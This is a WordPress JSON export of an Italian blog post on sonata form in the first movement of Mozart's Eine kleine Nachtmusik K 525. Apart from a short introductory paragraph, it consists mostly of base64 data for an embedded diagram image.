{"id":83,"date":"2013-09-16T07:59:58","date_gmt":"2013-09-16T07:59:58","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=83"},"modified":"2017-02-01T07:39:42","modified_gmt":"2017-02-01T07:39:42","slug":"la-forma-sonata-in-wolfgang-amadeus-mozart-eine-kleine-nachtmusik-in-sol-maggiore-k-525-1-movimento","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=83","title":{"rendered":"La struttura sonatistica nel 1\u00b0 movimento della Eine kleine Nachtmusik K 525 di Wolfgang Amadeus Mozart"},"content":{"rendered":"<p style=\"text-align: justify;\">Il Classicismo interess\u00f2 la produzione musicale europea della seconda met\u00e0 del Settecento fino ad arrivare al primo Ottocento ed ebbe la sua capitale a Vienna. \u00c8\u00a0di questo periodo la conquista della Forma-Sonata. Uno schema standard di riferimento del primo tempo (o movimento) di un <i>insieme-sonata<\/i> pu\u00f2 essere il seguente:<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" 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mLMaFv3EoZi1ubJbtVdSxQdYUioPY\/Bs\/i1hMGjE3fVSmFQM8qChrWFKrThi2Qn4S13dIqzLTU1O\/e+mtAv9ngCwF1smS8sJbfgl2U0RTpfmGsuDXbufW\/TqXmpcw6mZ65LZF3TZjQ2tRN\/vcTuRrnhX8vOWti+r+dVGONRxUuajYd6PnJ7V9snsYR46IkJ+7ZVHwvczkyHC9zUN0r+waJebNVGid9i1xfZt9KzFe\/091MfSmNtPuHeO+Zt7WqR5tveqUhmKb84CcAz2QVbtIyWB9tkGP1ILJVRpnqlu6pu+LZ4FSa77u51kcZ27nc71YWZ9jFu9u\/qjD62xDgtXRYj2qpMXUnaofCT8Hvdq\/p5W+pkwL13zPzK74mK0WzWdR4+V\/VFqRYi9095yk6Wb0dNtL30k\/J6CZt2GbwK87QPnCgOJfXa2FWTWHuufdLwY2zWXQfR0eQzbEtxiHORMJSqvtwWzfisqnlt2tqUiqMr1Zd33qwn7dhfGEcXmgaSnOEnJ7Z0PPRmK1ArCw7qSVy0v+Wxq4FZ8B6pO9oz0fFZ9jFv9+46CIThd3hm29yvJAxqiCn46g8jWbvHUD6dwmtf6zsMqtl3BpLuj1fybel1J2RsJSuaGW+irh30Gj6vQ5A82TyGCwnDbPuYfy50MlubnrySYBnFmp0MjseTz9XCoIaO3TmGKanxBUjHl6I5hvYGsGCN8kCSyoQ1WiYKLps8aQ\/R9zAM6uiC0ZFQeV1n8rnWVcGqMGmb9nfgRF49dLjO5xgqDeLV2LJ90kptzaMZd\/UFwnA+6j55pFvEEmHwerzif0mnIgs+BZVNbXbve4Oh9PJAUpJty03pljQLn5zfZcsvNCYdCvIGkkRsuV2Wja8141YYXQV8PZBDiHudrLAhqcVb7JNV+Kz+23d1xcrCMNrv5PViTVb\/gNpvxM+bXdyIvjrZ3YBZDqDv4bDtWV8YdrLmzm3WshTPWsv2NPJz6d4P1wSzHMVvW37lyWeEAXYGj4kY7JOAQSQ7eSVVrRgMZ+3t4ed08NUZ+YyH7f4Sstbx2veq8Pf73BWMNWFgNrznMdgnAYNIjhGGbL1nQRgyL5h8UdHLW08rsYf1\/1poax2vfa8On6fo5DaLrRQGlsB7HoN9EjCIZCd3VS0Mjv9vtGBEuXF9vTkq1tO+8\/\/6nvVBGHm9zR\/5Za1g3GSVIzVbgjVisE8CBqlhS2HwGtZIGFLEVjN6OMYQhsi5MsqPd29ZGJzcvpvCNEPNhg1ZPpfGbNz5LdBzj8HCi6Rm7WVyy9QPce5dYQXjJp6GCANsSIeNWodZijldhjM2nWNQQ\/1ixWC6cUB5JWFxPW3N2ktvHa93r9VFaF3BeIpVjgATHTZqHWYp5jwZPsoryVkxKIZYhofnlTQJRtV62uLay2CoybzXnG1W+apawdj\/KsdTQ\/8pptI+hvfg+2271L0e95pjPMZu\/UO87PnLm75OeXg\/7Kx3qsYgLdmzchOE7MxN8TB31YnDVfTwDMAGIAwxte1g7j3o7Wol+v6qv5\/vsZj49VlOJN\/4LD9Ab9PGZc5+rRWmnL3ETsMzKHhvbor7CUOukB8Ob5cPz8BK0BRKsEZM5c5axqis58Unr5u\/KxzTFcVZvTkOgS6zzjoNs5fPJDY7Xh4Gu6teB5pCWJNW78F1hKHFD3COQ+AKRqnMnuMg2eh42RkIw\/lAGGBV6r0H1+oxNPoBznEIXEJj9ub3GPoFYQD4dbzzBvw5hmXCUOkHqD+09zvSYFH2xjkGu6t0FjdFTnADAO+8AdcraelQUo0fYNKeul5JG7j3NGZP5iY9sSm7sSs3xW6O9tx5BtjtjcJF4GsmBvskYBBJN8Iwsk9LXS8MKMc54T2PwT4JGETSn1cSwjAXarYEa8RgnwQMUsP2wqAWAQ7PT\/trjrP5A5rJ7fVLCi1hsNI2rrUPBVr53wBqNgBsyj7CYJ1qkH2hB8ss06X09UsKSz0G1+XAC+Zj538DEAYA2JTt5xhal89Mf1ZscVpcUlgcSvIS8oI1FLPPlSsAAB+Om3yeLwwtwbwlhXY8FcsavWCtxYSNof8Us8dLPSPAcWxdYV4rbnPxHErtzlLOKAxLegxBcnXLGmsOeCgUkx7DHiAMMQhDQr1B9Idh5esc60Ly3woR2XitdH\/CkI3Dl5dZhn\/aSwpLi27E5EH1AQ9OpWeO4RCwRgzCkFBnkNfjfktamroXOtpgOvtvHLgl0FyOc1dtWM1YWmZZ+tNxLcr0wDm5Ic1PEMyu83glwUmpqrrOmQ2hN+A5CbI\/GUGfVZl3LYRZpk9PYb6H\/vNl3fKNfffRB\/ZKauaIx6RAGGBdajq72SSd1VOvdOXoHXcgODFUPtQwjg1JA8iLwUCSeUuYnQ1BGFo5XBcQBliVqukxb6C15A14RryGWF\/\/FFVf\/LQOSQzfNiMaSHJuyf\/YBzbRA\/htahzqZnsDnhFHGJLLf8Lg6oLmq5Zuh8G5RUW7Bf3tlQSwBlTamLJ9ansMs7wB+6PZIPJy3GGQ\/aXchOFAUjhchDAANEKljamxT80cg3dmQ8EbsD8qDOK4JCX7LKSTKa6H43P4Bg1mGMxbxn\/t7uLIHMP5oCmUYI2YBu\/MgleSd2ZD6A3YH80GESaxXJJMjyR1v3TVslyQcqfMdEXV\/rOaCMMa7Psa0BQC\/AoHHQaKMKxKzTzeYhAGgJ9g+y0xPJhjWJVdhAEAYBW2nHx2Fj6mo2Wvx\/1vcPJ72Rpj83dVcs5gMFZj1q6Odppsc6gvuU1lyTtkYiyrzpoxdAnz4WsmBvskYBDJdsKgPRq+6zi8kxU+beFzuKnf4X55f62pdQbDc7A2z6jcT6nsljfuj5KVMclSRdI5wokB5sN7HoN9EjCIZDNhyOdGPLfoZMV3\/jvuMRR9qFvDp\/5iY3my1rqqjM3CMHulOzVbgjVisE8CBpFs5a5qNH01jeYqwjBHSFKMhlnunZdte9JQRv\/OOP0i1Gw4gNYJs7NPsM2e+PVag1Ox2CvpxD2GEuONq\/UYGs94cEAY4ACKzdyZ28GMuS\/nG2H40DTHEAqDHsaZpiHc1laN0ospDCceb5VmUpwpwNiOm3MMbqck2Y636oyHFhAGOICfEoYli8quJwzLvZKMrcjzyeHgtxjGGR41n+HOakwznjRntl+QHG\/Sbbq4GM9vm25I2WiWPOMB4DASF7vxWvKOmJVcD7iqa9\/wybe36DWXPQSPItv31PWKjAxVsFgX\/MBeSWfWZ5jNuSvt9tTtGadaO9t5z3m\/po5v1I2WHfh74o34zjram1JRYXR\/wfeKLBiqaLEOQBjgmpy70m5P+2aijUcseMoh\/pwa2vGXNxO5PbOEocXLsTiUtGNhi7CJ3nWgKZRgjZhZwpCSDZ9aznXBkO+3CZ1a3CbH7lVZVRhCQxUt1jEIw\/mgKYQ1KfQY8mCOc11hLvD+eIkG97geQwXzegxZgKLFOgZhOB8IA6xJ9rVuO+85IyRixDzywXsO6YfyUXMMNRiTz56nSY2hVnJH3BOEAeC3sYZxDC8ax3tQOtcpH7zyYFG\/XklKGcKCRIaqsFi3tE8+HzLHuyRRJqUvDf2nGOyTUH9QT++N9xqc3CsJYQCHfittH2CfhFqDHHcWwp4gDCvn6ED6fUxHgDVisE8CBpGs566ajKA5CwJl4OgMhm8gc6jROGshDP8u3Vu5\/tBOQN5sOqHFRapcX1oBNVuCNWKwTwIGqWGhMNgLAnVgudLRWPXoOSdkTsANCya9e7OseVqWrWZ0z2nILwbrISvWl1ZAzQaATVncY4iXqMiL5m\/Xndlxfatyf47c5nTe4oN63tNqRluDvIs1C0drDocAADiADoVh1nUv0fTP4vpD\/8yG7JwG52LNwtEwIYBLstZs30mnhYtbZfzRR+kWuKtu3mOoFIbSV3\/b+sOKMxsKJS0uHK1OyIGhJAnWiLmmfea\/PTP2CFmJPNpgMGOv4YP1vJLWFQZ\/ziCdb2iZY7DvrVt\/aK9m9M5pMC6W1kMWEipzzVd9Llgj5qr2mX1iwgmEYUf6FQbfN8c5a6HKl6d8TkOw\/tB0XjLPabAPb4jXQ5YSKnLVV30eWCOmsh2MXQeDiuq4DlrXi299k+feXGUoGcQsazG3qgWwzZW2nE4j0d4gLIHdVQHAosJ1MAvuOeBZnWbrU9I\/5LHac6\/Fka+N7BuuKrdFc+V2CHsM3pDGPiAMAL9NVbc+CR9OBBYnCL2ZwjbPvSXHb4bEYyFebovmahSGDZWvAoQB4LdpHe8dR01muxRW3ljw3DtQGIpj6aG5ImGwbjyCk2yJAQIekwRrxLTNtdq\/PXe+nXsMCTOFoXnyubnHUDqvIhJC084bcvK9kkDAY5JgjZgVhMF356txHTTdAv1R+2rPva0mn9\/5dEFVbovmMgJES3H3mWNAGK4Dj0mCNWLW6DEE7nyJ+194vdIrqc5zb0N3VZlo0SvJ7FiY5rKUI01o92Mbfk8Y4omdo6Jag0s9psVgjZj97OMN\/CxYjNacVgVUGMkPu6sub9Y7EwaAXlDTw8m5nZvNoPaxacS1QRh2iQEA4DzsJwz2CkY5gmhfLi2zLEwBzV9e2JBWmGcAgHOx0xyDs4Kx5TwD4\/osp+k8Y1WnMhSEwcvzFjBIKsEaMdgnAYNIjp18bj3kwAu8xmqaBLsRrz8NwsrblOdNoGZLsEYM9knAIJLDhSHFP+Sg7jyDRcJQWl7YvNZx18MVqNkSrBGDfRKaDVKcYjzzHOSxXklNhxzUeb3NF4b2UxmaewwAcBXmCoP+\/EwXzG389biUnSafnRWMLecZuMss1bDPtDvksuWFbWnFSzQB4LzMFIZp0lQHEZ+iHX9PHuKVdNO7\/Brq6TgOOcssRSzDY63lheUTHaa0ojwDwPnwzpkwnA9rhpKUx438tuy003Dalc8di+3WnOkxbQ\/WiME+CbVbYlhbX9jOhzXCoAdE+ukxXGJLjE2XU56H3h\/TvmCNGOyT0LyJXtH5sGqsyVwXfnwjdglhgPf7zWPSYI0Y7JOwYNvtOodJI7YOFMABYbgOPCYJ1ojBPgl1PYYW58NAGJ5D59ONP7yJHgBAC945E7bzoScMzinQpwBhAABIcJwSTedDWxjycaeuuw4J1xWG5uWI3wd5pscHALA+151jqNwrKb+re2G41GNaDNaIwT4JGETye5PPCMNvgDVisE8CBpFcQRiSbY2Ei4B1FIJ\/HoNzw\/cfCMOpwBox2CcBg0iu4ZWUrCYX+2rI3TH+fvs9hujshDMIAwDAppxLGIQyjL+M1Sh6nXq8u2oiBQgDAPw8JxOGsVWfFGLOttvW8sXxdoQBALbjOXSxG0bI2YThowxiTGlpj0GDMAD8ODscvNPB9nkxZ5p8\/uPzwZ9sSRXMMWQLEKOzE84gDKd4TLuBNWKwT0LzXknb0MmO21fwSvoQH9XpbZbreiVpxySE4WxgjRjsk1AySLUf4+tx\/1sW\/b06hlGNkLfyuQ9luJAwbArCcDawRgz2SZjRY\/CPYVAnjhlekkmsiQNkB8pwDXfVTWFLDACo9mOUwbzfabTJyc\/HC4MHwgAAIKj0Y6wSBj2YhDAAAJySSj\/GsjDk5zqcUxgYjjwFPCYJ1ojBPgnNR3vWHMNg\/ta3Ged7dqALTD5fBx6TBGvEYJ+EGoNU+THWDCWJUaj7MMgeQx+6gDBcCB6TBGvEYJ+ELgzSzQI3vJIAADqALTEAAOB0IAwAAKBAGAAAQMHk8\/ngMUmwRgz2ScAgErySrgOPSYI1YrBPAgaRIAzXgcckwRox2CcBg0hwV4Vrwnseg30SMEgNqTD8s8j\/a4ZfHiy+d91gpyuX\/Fecbj95ri\/absEoF+WiXGYMEnoMAACgYI7hfPCYAGAVvMYEYTgfPCYAWAWE4TrwmABgFaqEAQAAAGH4GbyjaOsD7JmZLdJqSnTPHB6bgZqEDrfGD3KozRGGy5GcMmseUeveeMWXf1659rfGdg10cteMSJZb46icn4ieSocwXA6veiEMO9y1BISheNdVq+gfPZWOyefzUXhMFcJgnFP4DTAMd9nNkDcnwT8RPgbVJ8mjFacbTv9QmSxGXpObFJ1sYSjJiNA4sDcy1wuLsZEAAB7OSURBVP3xGsOo44G9mNOiZcYzcuuEKTyC5Jp4wm5Cvg29p+wbdHzeUc5tAWjMeTJmKMxSrjPpQ\/lWt\/qo0iJvUQHWB6+k67BcGNLLomaOIeSB6Pbvv5rsnESVHn1upPVJqipyESjTFCMHWZhIGOwIEx21A8gyGOUJbjSKVvN1bISpeARxzLVmCSuPQh5c+XrcvTyIW+MmvjLn6i6Vr3Kd0bc8B62q5aisIm9RAdYGYbgOFcKQEs0xWE3h+x3XV+u6F63KV\/Y9Xhn59GdyWu7rcc\/zILWmKAxOhMUUZWz274obC6aoEYaKRzBHGBwbekkE99Ykur4wyNxW1JnaSu5FZRV5iwqwNrir\/gxVPYZEPcLmo\/b1c6L9IznntjVy1dpashdYoCwMsY4WAwTCUKHQKwtDy5OdmZD\/lC2jWt2u\/YVhrTrjR5UXeYsKsBcIw+UoC4P+kFmtx+BE+\/mddx9W6TGY5Dmp7zFUp9jcY7BuLJiiVRjqnmxtj6HC\/naPwcpwRz2GMJ\/jHVU9hjiqDSrAXiAMl6MoDDrA1GjnX4XlOQa3Hov7pwFbM5Otkaflez2fWWFlnK\/HPZ58tiMsplgWhoob30k7Uhy9CcOEjyDpvhWHiWpsmCv+59YpyNg4xomq\/4opmzDn3l1Zicp1xqv8tVGZRd6iAuwEcwznY4U5BtntHQY1J2Z3tsX\/1OujK64VbZ6d+6PaKylq8rKOu2LKyn0Ywh6DE2ExxQphqIk5FZIxYCBjQRjzySZ31SVk29BPwr4zmWCuy\/nwcGyS\/WnfZZWoUGe8yl8dlVlkO\/CyCrAuF518\/hpyeL6\/j+Ywjd2N8z0mgM459PP8QE4jDKbXuwvCAADLQRg0XQnDUy0j+Vypf1oIAwBAA2dwV811Qf8nHZMenvo\/4vcnhHv9rgcq3esiW17eAAAuRk\/CoKdpVBuslEHowkxhyO51h6Ty32gDAFycnoTBdKhRYiAaceUL0NxjSG92ruvLPzNWBQC\/TVdzDCNKIP4a4lEOlC7sIwzSy74DYVj5MbnLglaN\/NQky7YTrlHGenoob2WljR9cfSqzCWLowYwnmXxOMQaQPjssjgZdIgziD+d6nz2GLoQh6dztY5SFic58FV+PwureFdO6HBvZIY\/WS+hlbaYFX84gDKkLUjKmby2DKswHeHMJ1b+7nGPoRhj0Y9jh9VuY6LxG6jnMeeYIwx+HCwOEnMgryf0kHJUh3ZvNaMTz6Ypk3eRNReVdT7N1vCqU+XtD6k8ysIShvLQ4fQ+\/qq5SF\/vsvx730ukF8xP17lWZmVzO0iBBirkuyJSmHmZyr5kdJ6n8cnalonTJgy4UK+kEjXasSCg9OyFMqdoOflmiLE2V1llfnN8YED7ZYmy2SaWtknInRVhw9MgW9CQMO5CMDRWvn5G\/stSfZFDqMbwe1n44SWAVibWjwOtRPL1gfqLevV5mzAjsEaNEF57lkwactOwtoZLLXw9sfaWudG6knge4vHOmGcsGrLSDXxY\/S7rShj0GuzqlBql7sm5slkmnGLLH6r0yxRd2FxCG8PoZcVvPZ2F3+GCUtvTClze\/Sz+drN+zE\/XuLQiJYxBFLgylHZvNi8af32HO5Nbims5i6by0vIJ5Y2VlM1YYsNIOdZIffc2EwlDRqlY\/WT82w6RjDPljjZ5XtXk3o6c5Bqij7QQ3\/c2SoDbXy75PkoBZKtb\/FwnD3ES9\/5WFwTKIIms15RZyxmdz8SmoP\/Nbo4\/UytJVNrLfZkeXsMmMFQass0MYLMxSJAyl6pQbJHqyFbHlJvUfdJ0wFOvnUs4w+Qx1LBAG7\/Mn7\/aWPjmjj6l5wrAgUe\/eth6DiT\/1HH+rrtljaCxdXY\/hG60\/ptTcYwitFNuhMomGHkNFdSrmualyTokKk67ZY9gEhOE6zBWG7N1Jdod3aurrUTHcX0y9KAzrJTrda3UR0pm93CAarQzWtvt2rtK05s8xVJZO\/Fkxx\/D9183t7dUkVGHAOjvUiZyRJf19PSUUVCfveQVPtqZyFkwazzHMNu9SEIbrMFsY3ml\/2K\/9sltt7rm\/fo9hQaLevVn4qfgy\/cQgecza2yTt1zu5ytISSam3fbosItRXakrnjXsEH515zpsTKhuwyg5BEnGWkmZURutUJ68SFZ5ssXIWC5I81gphqDHvQs7grroiH3Nu3hGDH6BpGAJ6Z966lF9jK2HI5k32baObhUELs\/xqaKCTldGwNgt3VoCOQBeq2EIY0nG2fWZRFHOFQXdKW\/OMMADAFdhgjiHXBYX6Nnf95PKxVTV3dLvdprWCatLI6KYkV82GO5EC+ad3+7ecj8f9lq6rNYZT1\/vkZCoIAFZhx8lns4X\/4O1gocXk9bfwMA8g1mH+\/fX5La+P8zmWBsjw1j8SYbCcssfLWjDuj1faY3C361gIwgAAq7CrV5IxYG81j9NfVrOZNNVTEPUP53IqDMlXf0kYUl0wbzdHzMwc538tAmEAgFU4xCtJCcQ93ekqu66b6+RirTBMbtE3q\/cgeh5+VlWD795eEAavsOubuUjg5bnpvVvAPDDA9uzhrhr3DHSIiZk9hkwYdDwFYciz5t\/e1mM4kkOEYTtF2d2VAeDX2EAY0vc2akw\/swlz5hiywSlvvsGfyxD4fkju7Z4wJJ2cvLC7czFhwOUQYGO280ryBlDSIZZkyEZfDb2SslmLbPRGfeffbrfbMLT2GPzbDZGJFnk6ijSD8mNK1pb+tdHzNnwvrqe1I3dWWGePZmbeUAaANWBLjOtQekzmrixzN3wXIfxdbqzIwx7D61E+VCDKG4uRAdYAYbgOhccU7OOY\/vls2E\/fiKRlj8+E4u2FvNFlAFgBhOE6xI\/JaJCjxjfFWroRbvXVIAzJwFpRGIK8IQwAK\/Bjm+j9MvN7DBar9RjW3esfYQDYEIThehQ29Jd\/pq13vuF71RyD+8lf3h9\/Xt7QBYAtQRiuiBizUTu\/T\/9N2ujMWehtBva9kryWXQZeb69\/dAFgU7aYY4hcP8X\/43e7YnlYKZ3VqMpw6e71svnrU0EscANYif0mn839LawQPQuDTn2ZMGTRLeWnhYEtMQDWYzdh8PacmBdPH8KwWoTrNGg\/LQwAsB57eSUZDWBybkG+ZZIaSc43zXNPRBiFIT+YwVwy7eYkiTnaT9vO+rSBhzEg7hoGAKBLVhYGq\/mLzy2o+S0wNkSS7bIXj3eCghNzcLKCtQdHeGxDZBoAgA7ZQhiSFjfchdTdkNRsmnUnwNr49D5u4u3GGepWURg+qYrdf5SzTB7Vl2TvBwCAXjlYGLJt7yxhMHbNqxAGY0wqy4kXcyQMkxwoXXCj0mkhDADQPStPPgdDSTU9huwuIR6q\/c+FYfqjvsfgxhwKw1cZhsHThcAMawgDk88AsAp7eSUFk8\/2gTbxCQ2ZeMjgsjF29+I25himnNSeteDPlpvaYQ1ZrTjFgDAAwCoc6K4aC8PbObRAhbFPRMjGofIzc\/Rlo8F2zlpIVu2m\/Ro17V2KyjHLfBAGAFiF\/TbRKy9w+z1WXxYBALAdW+yVtNtWFecAcwDAuWATPQAAUHBQz\/ngMQHAKnCC23XgMQHAKiAM14HHBACrsJ9X0ui1ucgvKT5KPg48HQ8GAADNbCIMxzfK45HCK8SDOxEA\/BYXFYa1QBgA4PfYWBhej\/t3U6Gb3MjIXfcs9yNyzh9+TCuMn28dODxAOI0pSTHJSr7FX3qeW3yvXzQAgL5Zf\/I5Ewa1r4X4bfQrptkBVxj0BkbTBnoNwpCdbz\/ujySv2tlouNcr2mKYfAaAVdjPKynvMRidAO9bfmxqgx7Dyw9cJQzJWfKvx33a+s46ckcGbrnXK9piEAYAWIWehSHZDK9JGLQe1ApDyifD4j9iN+1EGKrv9Yq2GIQBAFZhV3fVFmHQ3+BNPYbxM31Rj8HCi7DpXq9oAAB9c7Qw6Ja3Yo5B9zP+UlJtcbLLdmmO4f1+v57Pv3vVIZ32GFHDvV7RAAD65mhheOtBmGEo9RisgRkntuFR45V0M059yE95K\/kamffaRQMA6JuN5xjWhVUF7\/ebOQYAWIldJ5\/XnGmVIAzv9xthAICVYBO968BjAoBV2M8rCQAATg3CAAAACoQBAAAU6wlDcWbYXTW2S+o98p2nP13GAeDSrDf5vJEwJGsX9mlDFybaWsDG+Jl8BoBV2N4raUNhUKuK99CGhYkiDABwBrYSBr2rXLIDRL5iOBWG8okF3m5F6myG4akjn3MCRE2i8ekRn8zc7\/WnOLwRBgA4jE3cVbO9i6w9SYubY8vY8lVx0Y6q1q4Ys0+AqEnUu9fLjGsokWK7MAAAbMoSYdBtrber6NjyFYeSzP1H81GddOM8HWz2CRA1iXr3FoTEO8XB+AsA4HAWCIPbGjqHFtjCUDqxoGbjvHerMMxN1PtfWRgsg4yBEQYA6Iklcwz5eQNmjyEL0HRiQfSlP08YFiRaeXpEoceQpcUcAwAcwSaTz3KMRY7t24cW5G13zYkFqwvDeonqOYa0i1BxisP3fwgDABzBRl5J0yDJfRiyRlO75phNc\/HEgvV7DAsS9e41Z5u1C5LrCoUwAMBBsLtqryAMAHAQ7K7aIWyJAQA9gjAAAIACYQAAAAVzDOeDxwQAq8Dk83XgMQHAKiAM14HHBACrgFcSAABUgTAAAIACYQAAAAVzDOeDxwQAq8AcAwAAVIEwAACAAmEAAAAFwgAAAIp08tkkD2DesjxYfO+6wU5XLpMLlKu++EWb\/Lg1ivbpLW\/Lg83IsBnzLxTcM8XbAq+k88FjkmCNGOyTgEEkCMN14DFJsEYM9knAIJIqYQAAAEAYAABAgTAAAICCOYbzwWMCgFVg8vk68JgkfVnj9bjfbrfbbXjODbA2fdmnAzCIBGG4DrWP6TlYTdDnqtU0fRutlN0asTmE1ti9ROcUhrFOWOb5qQojSa3SebnmgTBch\/JjUi+srM2vx\/1z4TncbvfHy77\/75Vw\/90VdZX2TCVal0phGGuJ\/pz41QrzsYIs0XM4SQGbwF319zB6DM9h\/Fv8dO5MXgNLbT7X7o\/H5+vq\/nhNAUVKgkPerrxEX+s8HvfPf5x8mmVUcUibiISyL05xdYxDBvo+jiBFX\/O3MdVvVhi7r53+d6w5Y6Feb2WK7\/X7XZfEuy4i3+7xVoIwXBejes\/+AJRX8qp\/uw3P6ffUyGYJfMLsX+NdYbAbH5lPo4zyujlSp6NTIR1Lfn6HKbr3rolq5X6zwhQSzWpOQRiyLwbvulcfjgBhuC7NcwxJmOw75nth+st4JWR1H9NIvgE7EgadFSuf3mv\/Dasbs2JCjvEKVjU6G5sow7fNsr5hf6bCxB2G\/N+lHsPU+bIe\/HjdrQ9HwBzD+Vg2+Vx\/51QnzUnG2vfcCLPmez53jqHm9Q6Fwe50pAllyWTtQ0Exssv5U1jBPiqz7Q\/oWhXG6KXlj3gzYcjrw5Yw+Xwd9hcGt5JWvOfWW9CjMLj59IXBiqv4Vb9aj2FV+7wXqML7chWmpulvFQbxh3P9kB4DwnAdDhAGqxl1Pu6yD8B84LRLYXDzWRYGGaI4DVA\/x+CFyZ7CavaZ3Q5drsJ87ZHOmdt5yguSCUPN7yPmGC7klbS7J\/j5yHvybS981PyN1L7nsjc+DAdNqVXNMdj5rBvYcb\/70zBJTuRIReaVZKiL9RTWMU5KS8zXqzBvyywqd5lTR\/aos6taZkxTW\/XhCLoVBu+pIAwAcAaSsaHi9Z7oXRj+Wv8zWBIAQHAZYehpjkH314yOphqhy5aKfG+Yli+93cVBunMiO7aqY9gNPT0mADgxp5t8tsYcM7+v0lIR2bA7k37FFTSHrcly6ekxHQ\/WiME+CRhEclZhsD7bKzyFY58T+ZfrjpFkAGHoFKwRg30SMIjkrMLwGQvyfKSrhSFYHGQsU9p4ic1CenpMx4M1YrBPAgaRnM5dNfNrNpcEektISj2GOMmtl9jswXOYmenX4z7Ztq\/JFdgQKoxJ1URxcfHK+TiDMKTSULGEpLAI5f02FgeJ+zdeYrM9r8d9bo6v\/Z6DDRXGAWHojKQ9luv1jcnnkSS82fTLwM4ypU6W2MzlOczP77XfczChwnggDO8zjr6dwSN4dYqPSb3mf6\/rY5pIcVZsfm1ovedaPvuy9vkq7b60HtRDhXm\/c98Xe+W5td9dtFK9w6\/L000+14EwGOjPvz8TjReeg1qZryrwuANE9AH4ety7quHnq7T7UrdnHBVG0LCX0bzfHXFRYfhJ2oVBVMfpz6c+qvD1uOvX2xsZWDAcvQVU2phZwvDTFabg0ZK7vHsC4IbvCIThOqwnDCnfbc7y9zyZiznTe\/7jrCoMP1Fh1JLWfLdsY4zJFobARb4fTueuCrOZ9wGYBfBCdvYBCIuhwig8YfC\/+at6DOcCYbggxlyi8Z5nXf\/X82mODOhwvQ0Zw3KoMAqpDKET\/NflPZ5XaDs\/oxMQhisiX3T\/PX+b3iPm6y1GEe7DcK4PQChDhdFko0DeEJm3S1sc\/gTsOcdgjrntZisj9faEu+gcVjyms\/XeF8AcQ0ydfagwP0pXk8+HNK\/as3Wmn+tZhGHBDgdng\/c8pukgWCrMr9G\/MAQrR8SxCplnhJjlyft9RvxyWU7p9iT1+90IdcACFmq2BGvEYJ8EDCLpyispF4bC7I3R4CvXAYF33RGGNJy6HB\/qEGQbAODE9CEMhZUjeTPv7pHnf7ubQ0lqfWd2u5eKvWQFZQCAa9CFMJRWjqTNvHPYgvxyd4XBEA\/39oIwnGIBCwBAK33MMRRWjuhmPgus+wIFYcgT8W9v6zHsxjGDpJWbaO4+h8mQccxh9vnZCnOqDdw6n3yOV474TXN+zT0+wX9c7u3FQx2OWcBSeEzxezibPNpgb5wdXwqEIaZuzzgqTE7q6FL7aiMMcyl7JX0fgzNolA3dVByfED0u53ZDZKYMOONJCMPOIAwxJxCGfWnZdludAIkwQNeEj8lYmqouqiWZ9rb7ZhTZyICzBja\/cWOotDEl+1Bhctxhh8gzvukIh1E8vvZUI9mONXPLL6crd1XYkuy7TOyoL37\/1TRr2\/00Mm\/b\/fAD8Hw75PwsVJgE1+XdDyZ7CYYzS\/Z7bOenUyTN0ybl0MWubvEIw+UI97qZ9j6Ig7398JWTij+0ycLJocIkBB0G8W\/5+a60IF87m3uruOJh5eAIlxeE4XKU33PrLVV\/JhMn9e+5dSN0DhUmIegxOK7t6g4RxvVoD4UhEaZD3OKZYzgfbZPPzR+Azmb65ff8mF34qbQxzZPPVJha18ayMLif94EwxPtCrA2Tz9eh4gQ3Vaf9IePyh2E0ZJwk5N24MVTamMp2kAqj8LySPNd2b77B82ivmYfwc\/Nazy2+Q2HQ6uv+f43KEkS1LJVSGTah9mzCKWOiM5o4mZjfieZm+lZDkCZ0xC78CENMjX2oMAbZCE66gZr2jM+Ce+Ns+aRENvVgxGJFsqU1DptjKM\/8L2qytfCqqIJ\/zYEtkgDgYhwlDN7GFevGbzbXq7fkW5cFAGBXDhIGoy3Njl4w3H6nIxGSPq3uYQXbZUc7aSeKIfo0\/qoWrzQAAKflmDkGqyUNDz9wx4Jqflf\/y9o7NW3uzcv7KgOj6hKsEYN9EjCIpK\/J5+eQf3eH++VZbmL5R77XxldrxmvsrcifMnuqZzLyFxhhOAKsEYN9EjCI5JrC4C\/9mCcMkxwoXXBWtUwgDMeBNWKwTwIGkXQoDPZQUoUwiD\/cieSZwvBVhmHwdCHIe5\/CkLoVDs94Z4KjeA7zTMh7HtNsHyrMsvhrtwDpg87cVYPJ56Iw1KwfSa9761LemU5YHtzB3V5p+kHUzmf91sHbZKCAXgkLx0CF+WZiZtlPJQwe\/bir1gjDhAhmL\/3QS2msaWWn0zH+18jczTzvoWtdUOtOD6mlLa\/HMS0RSKgwC+NFGJZQXuBmhO7Ryn0ucMt9vCZ0xf0bNbvpORshoXILfvm0rK6Vvmys5QwW1o75RhmOgArjxpoWqlSqeMl3j62FQcdbYswNuyf9bonh7WTwTiqumjoRv8WuL3LQTQ8+v9Pfsm\/\/HdXLMuDcO+at7UVnjiGmdksMKoxKMBuSGC+IHGR2c\/cCkbz22hWqhr4mn2EJbZvoFd7z7DPHC\/C2qn5yPXttjQy4946ZRxjWpHkTPSqMIQxmfpIpjtfn6OriUNKC+YvVQRiuw6Jtt98L3\/Pw+ltviyaHF6L3XGYPYViZpdtuv3+wwtQLQ8p3g7y81MlU6KmEAS7BM9vmfqX3XI0YBB9xYSRrfwDCYqgwCfN6DEFBcgv3XskRhgsi++dyWPg9XZrxnquhUXfIeEpqfBnS4YJoyBhdOAIqTIIx+WwJVaqhr+fTHErS4bqaY\/BAGC7J1Mm9D8OyD0Cv+yv+l3wjZsGnoOKFMh000IWDoMJk9lC5cXswusS+HsgRs71OnlgCwgA+3uzZRrDA7excp8KcYbhnS5h8Ph\/7PaY933O2xNiGXe1zpQoze0uMU4FX0nXgMUmwRgz2ScAgEoThOvCYJFgjBvskYBAJ7qoAAFAFwgAAAAqEAQBge4pbZfzRx6Q3cwzng8ckwRox2CeheY+QtQiWlOch9\/LtYvL5OvCYJFgjBvsknEAYdgRhuA48JgnWiME+CSWDGGuZ7aXXf826dU6DGUU2lOQsms5v3BK8kgAAKsg+5O3Nmv5aceuchjQy75yGsMdw7JZKCAMAgKBye9fiduVe+MpZ6EN35UAYAAAElQdCRMGs3QSrhKGXYxsQBgAAwdIeg3P6QlkYOjq2gcnn88FjkmCNGOyT0HzWaTTHUO5JRHMM4aGq+8wx4JV0HXhMEqwRg30SagxSdSBE0LEwT1+wlCNNaPdjGxCG68BjkmCNGOyTgEEku